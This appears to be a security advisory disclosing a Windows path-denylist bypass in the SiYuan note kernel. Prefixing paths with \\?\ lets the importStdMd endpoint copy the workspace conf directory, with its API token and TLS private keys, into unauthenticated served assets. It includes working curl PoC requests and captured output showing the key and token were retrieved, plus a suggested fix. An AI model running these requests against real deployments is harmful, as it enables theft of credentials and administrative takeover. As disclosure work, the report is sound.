Summary
All of SiYuan kernel's sensitive-path protection is a denylist: util.IsSensitivePath matches the request path against a list of forbidden prefixes after filepath.Clean(strings.ToLower(p)). On Windows, the NT extended-length prefix \\?\ survives filepath.Clean verbatim (Go treats it as a volume name), matches none of the denylist prefixes, and defeats the EvalSymlinks fallback (which returns the prefixed form unchanged). Every endpoint that relies on this denylist as its only guard can therefore be pointed at protected files by simply prepending \\?\.
We confirm this end to end at runtime against a build of the current master (kernel 3.8.5, commit 60a4387cc): POST /api/import/importStdMd with localPath: "\\\\?\\<workspace>\\conf" first rejects the plain path ("local path is sensitive path") and then accepts the \\?\ form, copying the entire conf directory - conf.json (containing the API token and accessAuthCode), key.pem, ca.key, cert.pem - into data/assets/, from where GET /assets/... serves them to unauthenticated clients (we retrieved the EC private key and the token). The same prefix bypasses the denylist on the write side (/api/export/copyExportFile), included here only as corroboration since arbitrary file writes are declared out of scope by the project's SECURITY.md.
This is a distinct gap from both published path-traversal fixes: CVE-2026-30869's fix introduced the denylist this bypass defeats, and the 3.6.5 fix for CVE-2026-41894 / GHSA-hjh7-r5w8-5872 protected only the /export/ endpoint with a lexical containment check (IsSubPath) - which we verify is immune to the prefix (all variants 401/404) - while sibling endpoints guarded only by the denylist remained exposed. No published advisory covers the Windows namespace prefix, and the denylist itself performs no \\?\ normalization (ExtendedPrefix handling: grep count 0 at HEAD and at v3.8.5; the only \\?\ add/strip logic in the codebase lives in model/asset_path_resolver_windows.go and appearance_link_windows.go, neither of which feeds IsSensitivePath).
Details
Code locations (verified line-by-line at master 60a4387cc):
-
Root cause, kernel/util/path.go:471-472:
func isSensitivePath(p string) bool {
toCheckPathLower := filepath.Clean(strings.ToLower(p))
Every rule is a strings.HasPrefix against that cleaned string: Windows system directories (:487-522), Start Menu (:524-533), <workspace>/conf (:536-540), <workspace>/temp (:542-547), home-directory credential dotfiles (:549-581), and credentials/id_ file-name prefixes (:583-592). \\?\D:\... cleans to itself and matches nothing.
-
The wrapper at kernel/util/path.go:450-468 fails too: gulu.File.IsSubPath(WorkspaceDir, "\\?\...") classifies the path as outside the workspace and falls into the filepath.EvalSymlinks branch, which on Windows returns the \\?\ form unchanged, so the second isSensitivePath(resolved) misses as well (the runtime result below shows the prefixed request succeeding).
-
Affected endpoint (read, in scope): kernel/api/import.go:367-374 - importStdMd's only guards are gulu.File.IsSubPath(util.WorkingDir, localPath) (installation directory only, not the workspace) and util.IsSensitivePath(localPath). On success, model/import.go:1516 ff. reads the path directly; for a directory import, non-markdown files are copied into data/assets/ (model/import.go:67-85 and :1563-1578), which are served over HTTP without authentication.
-
Corroborating endpoint (write, out of scope per SECURITY.md): kernel/api/export.go:877-880 gates copyExportFileToDestination (:892) with the same IsSensitivePath check; the \\?\ prefix bypasses it identically.
Why this is not a duplicate:
- CVE-2026-30869 /
b2274baba introduced the denylist that this finding defeats (a normalization gap in the fix's own mechanism, not a repeat of the original double-decoding issue).
- CVE-2026-41894 / GHSA-hjh7-r5w8-5872 and its 3.6.5 fix (
bb481e129) concern only the /export/ GET endpoint and add a lexical IsSubPath containment check that does not depend on the denylist. Our negative matrix (below) confirms that endpoint is immune to all encoding and prefix variants we tested. The endpoints affected here (importStdMd, copyExportFile) are denylist-only siblings that the fix did not touch, and the denylist normalization gap itself is still present at HEAD.
- GHSA-vm69-h85x-8p85 (an earlier "incomplete IsSensitivePath fix" advisory) was fixed by
501571c2d adding Unix prefixes (/usr, /opt, /sbin) only; the Windows namespace prefix vector and the Windows-specific rule groups (drive-letter system paths, Start Menu, workspace conf/temp, home dotfiles) plus the EvalSymlinks fallback are not covered by any advisory.
The same bypass works with a lowercase drive letter (\\?\d:\..., verified at runtime). \\?\UNC\server\share\... is the same Win32 namespace mechanism (not separately exercised). We make no claim for 8.3 short names because the test volume had short-name generation disabled.
PoC
Environment: Windows, Go 1.26 (the module declares go 1.26.5; we built with Go 1.26.5). The kernel is built from source and run with a fresh workspace; with no lock-screen password set, local HTTP requests are accepted without a token (kernel CheckAuth trusts local callers, model/session.go:195-241).
git clone https://github.com/siyuan-note/siyuan
cd siyuan/kernel
go build -tags "fts5 sqlcipher" -o ..\siyuan-kernel.exe .
cd ..\kerneldir
siyuan-kernel.exe serve --workspace <workspace-dir> --wd <kerneldir> --port 6806 --mode prod
# wait for the kernel to finish first-run initialization
Then, against http://127.0.0.1:6806:
# 1. create a notebook and read its id
curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H "Content-Type: application/json" --data-raw "{\"name\":\"poc\"}"
curl -s -X POST http://127.0.0.1:6806/api/notebook/lsNotebooks -H "Content-Type: application/json" --data-raw "{}" # note the notebook "id"
# 2. control: plain path to the workspace conf directory must be refused
curl -s -X POST http://127.0.0.1:6806/api/import/importStdMd -H "Content-Type: application/json" \
--data-raw '{"notebook":"<nbID>","localPath":"<workspace>\\conf","toPath":"/"}'
# -> {"code":-1,"msg":"... local path is sensitive path","data":null}
# 3. bypass: the same directory via the NT extended-length prefix
curl -s -X POST http://127.0.0.1:6806/api/import/importStdMd -H "Content-Type: application/json" \
--data-raw '{"notebook":"<nbID>","localPath":"\\\\?\\<workspace>\\conf","toPath":"/"}'
# -> {"code":0,"msg":"","data":null}
# 4. the conf directory has been copied into publicly served assets
curl -s http://127.0.0.1:6806/assets/conf-<timestamp>-<nodeid>.json # contains "token": ...
curl -s http://127.0.0.1:6806/assets/key-<timestamp>-<nodeid>.pem # -----BEGIN EC PRIVATE KEY-----
(In JSON, each literal backslash is written doubled; \\?\ becomes \\\\?\\.)
Captured output of our full verification run (the script performs both groups and asserts the control refusal and the bypass success; asset file names embed the node id and a timestamp, which necessarily differ per run):
==========================================================================
createNotebook http=200 api=0
import control (plain path) http=200 api=-1 refused: True
import bypass (\\?\ prefix) http=200 api=0
exfiltrated config copy http=0 api=0 conf-20260927022423-cpk8s5o.json
GET /assets/<exfil config> http=200 api=None contains token: True
TLS key exfiltrated http=0 api=0 key-20260927022423-f05ulnb.pem
write control (plain dest) http=200 api=-2 refuse to copy to sensitive path: D:\...
write bypass (\\?\ dest) http=200 api=0 on disk: True
==========================================================================
RESULT: BYPASS CONFIRMED
Individual step transcripts from the same environment:
- control:
{"code":-1,"msg":"import from local path [D:\\...\\ws\\conf] failed: local path is sensitive path","data":null}
- bypass:
{"code":0,"msg":"","data":null}
- exfiltration:
GET /assets/conf-20260927022423-cpk8s5o.json -> 200 (body contains "token": "..."), GET /assets/key-20260927022423-f05ulnb.pem -> 200 (body -----BEGIN EC PRIVATE KEY-----). The single directory import copied conf.json, ca.key, ca.crt, cert.pem, key.pem into the HTTP-readable data/assets/ directory.
Negative control matrix (the 3.6.5-protected /export/ endpoint and all containment-guarded surfaces stay closed; confirming the finding is specific to denylist-only endpoints):
/export/%2e%2e/.. 404 / 401 (all double/triple/mixed encodings: 401 or 404)
/assets/../conf/conf.json and encoded variants 404 / 403
/api/file/* (GetAbsPathInWorkspace containment) rejected with \\?\ (500)
static resources, /history/, /repo/diff/, /public/ rejected (containment checks per segment)
Impact
On Windows deployments, an attacker able to reach the kernel API can read files the denylist exists to protect: the workspace configuration directory (conf.json carries the API token and accessAuthCode; the directory also holds TLS private keys key.pem/ca.key), home-directory credential files (.git-credentials, .netrc, .ssh prefixes), and the Windows system-directory rule groups - all copied into the publicly served assets directory and retrievable without credentials. The API token in turn unlocks the full administrative API. Endpoints are the standard SiYuan kernel surfaces; Docker/server deployments that expose the kernel over the network are the relevant exposure, while a purely local attacker is inside the trust boundary the kernel already grants. The same prefix also defeats the denylist on the write side (copyExportFile), reported here only as corroboration because the project declares arbitrary writes out of scope.
Suggested fix
Normalize Windows namespace prefixes before denylist evaluation: strip a leading \\?\ (and \\?\UNC\) via filepath.UnquoteName/longpath semantics or golang.org/x/sys/windows' ExtendedPrefix helpers, then re-run Clean/lowercase matching on the resolved Win32 path; alternatively replace prefix matching with a lexical containment check (gulu.File.IsSubPath(workspace, resolved)) plus volume-root resolution, as the /export/ fix already does. The denylist-protected classes (workspace conf/temp, home dotfiles, system directories) should all be evaluated on the normalized form. Regression cases: \\?\-prefixed forms of each denied prefix, lowercase drive letters, and \\?\UNC\.
Summary
All of SiYuan kernel's sensitive-path protection is a denylist:
util.IsSensitivePathmatches the request path against a list of forbidden prefixes afterfilepath.Clean(strings.ToLower(p)). On Windows, the NT extended-length prefix\\?\survivesfilepath.Cleanverbatim (Go treats it as a volume name), matches none of the denylist prefixes, and defeats theEvalSymlinksfallback (which returns the prefixed form unchanged). Every endpoint that relies on this denylist as its only guard can therefore be pointed at protected files by simply prepending\\?\.We confirm this end to end at runtime against a build of the current master (kernel 3.8.5, commit
60a4387cc):POST /api/import/importStdMdwithlocalPath: "\\\\?\\<workspace>\\conf"first rejects the plain path ("local path is sensitive path") and then accepts the\\?\form, copying the entireconfdirectory -conf.json(containing the API token andaccessAuthCode),key.pem,ca.key,cert.pem- intodata/assets/, from whereGET /assets/...serves them to unauthenticated clients (we retrieved the EC private key and the token). The same prefix bypasses the denylist on the write side (/api/export/copyExportFile), included here only as corroboration since arbitrary file writes are declared out of scope by the project's SECURITY.md.This is a distinct gap from both published path-traversal fixes: CVE-2026-30869's fix introduced the denylist this bypass defeats, and the 3.6.5 fix for CVE-2026-41894 / GHSA-hjh7-r5w8-5872 protected only the
/export/endpoint with a lexical containment check (IsSubPath) - which we verify is immune to the prefix (all variants 401/404) - while sibling endpoints guarded only by the denylist remained exposed. No published advisory covers the Windows namespace prefix, and the denylist itself performs no\\?\normalization (ExtendedPrefixhandling: grep count 0 at HEAD and at v3.8.5; the only\\?\add/strip logic in the codebase lives inmodel/asset_path_resolver_windows.goandappearance_link_windows.go, neither of which feedsIsSensitivePath).Details
Code locations (verified line-by-line at master
60a4387cc):Root cause,
kernel/util/path.go:471-472:Every rule is a
strings.HasPrefixagainst that cleaned string: Windows system directories (:487-522), Start Menu (:524-533),<workspace>/conf(:536-540),<workspace>/temp(:542-547), home-directory credential dotfiles (:549-581), andcredentials/id_file-name prefixes (:583-592).\\?\D:\...cleans to itself and matches nothing.The wrapper at
kernel/util/path.go:450-468fails too:gulu.File.IsSubPath(WorkspaceDir, "\\?\...")classifies the path as outside the workspace and falls into thefilepath.EvalSymlinksbranch, which on Windows returns the\\?\form unchanged, so the secondisSensitivePath(resolved)misses as well (the runtime result below shows the prefixed request succeeding).Affected endpoint (read, in scope):
kernel/api/import.go:367-374-importStdMd's only guards aregulu.File.IsSubPath(util.WorkingDir, localPath)(installation directory only, not the workspace) andutil.IsSensitivePath(localPath). On success,model/import.go:1516ff. reads the path directly; for a directory import, non-markdown files are copied intodata/assets/(model/import.go:67-85and:1563-1578), which are served over HTTP without authentication.Corroborating endpoint (write, out of scope per SECURITY.md):
kernel/api/export.go:877-880gatescopyExportFileToDestination(:892) with the sameIsSensitivePathcheck; the\\?\prefix bypasses it identically.Why this is not a duplicate:
b2274babaintroduced the denylist that this finding defeats (a normalization gap in the fix's own mechanism, not a repeat of the original double-decoding issue).bb481e129) concern only the/export/GET endpoint and add a lexicalIsSubPathcontainment check that does not depend on the denylist. Our negative matrix (below) confirms that endpoint is immune to all encoding and prefix variants we tested. The endpoints affected here (importStdMd,copyExportFile) are denylist-only siblings that the fix did not touch, and the denylist normalization gap itself is still present at HEAD.501571c2dadding Unix prefixes (/usr,/opt,/sbin) only; the Windows namespace prefix vector and the Windows-specific rule groups (drive-letter system paths, Start Menu, workspace conf/temp, home dotfiles) plus the EvalSymlinks fallback are not covered by any advisory.The same bypass works with a lowercase drive letter (
\\?\d:\..., verified at runtime).\\?\UNC\server\share\...is the same Win32 namespace mechanism (not separately exercised). We make no claim for 8.3 short names because the test volume had short-name generation disabled.PoC
Environment: Windows, Go 1.26 (the module declares go 1.26.5; we built with Go 1.26.5). The kernel is built from source and run with a fresh workspace; with no lock-screen password set, local HTTP requests are accepted without a token (kernel
CheckAuthtrusts local callers,model/session.go:195-241).Then, against
http://127.0.0.1:6806:(In JSON, each literal backslash is written doubled;
\\?\becomes\\\\?\\.)Captured output of our full verification run (the script performs both groups and asserts the control refusal and the bypass success; asset file names embed the node id and a timestamp, which necessarily differ per run):
Individual step transcripts from the same environment:
{"code":-1,"msg":"import from local path [D:\\...\\ws\\conf] failed: local path is sensitive path","data":null}{"code":0,"msg":"","data":null}GET /assets/conf-20260927022423-cpk8s5o.json -> 200(body contains"token": "..."),GET /assets/key-20260927022423-f05ulnb.pem -> 200(body-----BEGIN EC PRIVATE KEY-----). The single directory import copiedconf.json,ca.key,ca.crt,cert.pem,key.peminto the HTTP-readabledata/assets/directory.Negative control matrix (the 3.6.5-protected
/export/endpoint and all containment-guarded surfaces stay closed; confirming the finding is specific to denylist-only endpoints):Impact
On Windows deployments, an attacker able to reach the kernel API can read files the denylist exists to protect: the workspace configuration directory (
conf.jsoncarries the API token andaccessAuthCode; the directory also holds TLS private keyskey.pem/ca.key), home-directory credential files (.git-credentials,.netrc,.sshprefixes), and the Windows system-directory rule groups - all copied into the publicly served assets directory and retrievable without credentials. The API token in turn unlocks the full administrative API. Endpoints are the standard SiYuan kernel surfaces; Docker/server deployments that expose the kernel over the network are the relevant exposure, while a purely local attacker is inside the trust boundary the kernel already grants. The same prefix also defeats the denylist on the write side (copyExportFile), reported here only as corroboration because the project declares arbitrary writes out of scope.Suggested fix
Normalize Windows namespace prefixes before denylist evaluation: strip a leading
\\?\(and\\?\UNC\) viafilepath.UnquoteName/longpathsemantics orgolang.org/x/sys/windows' ExtendedPrefix helpers, then re-runClean/lowercase matching on the resolved Win32 path; alternatively replace prefix matching with a lexical containment check (gulu.File.IsSubPath(workspace, resolved)) plus volume-root resolution, as the/export/fix already does. The denylist-protected classes (workspace conf/temp, home dotfiles, system directories) should all be evaluated on the normalized form. Regression cases:\\?\-prefixed forms of each denied prefix, lowercase drive letters, and\\?\UNC\.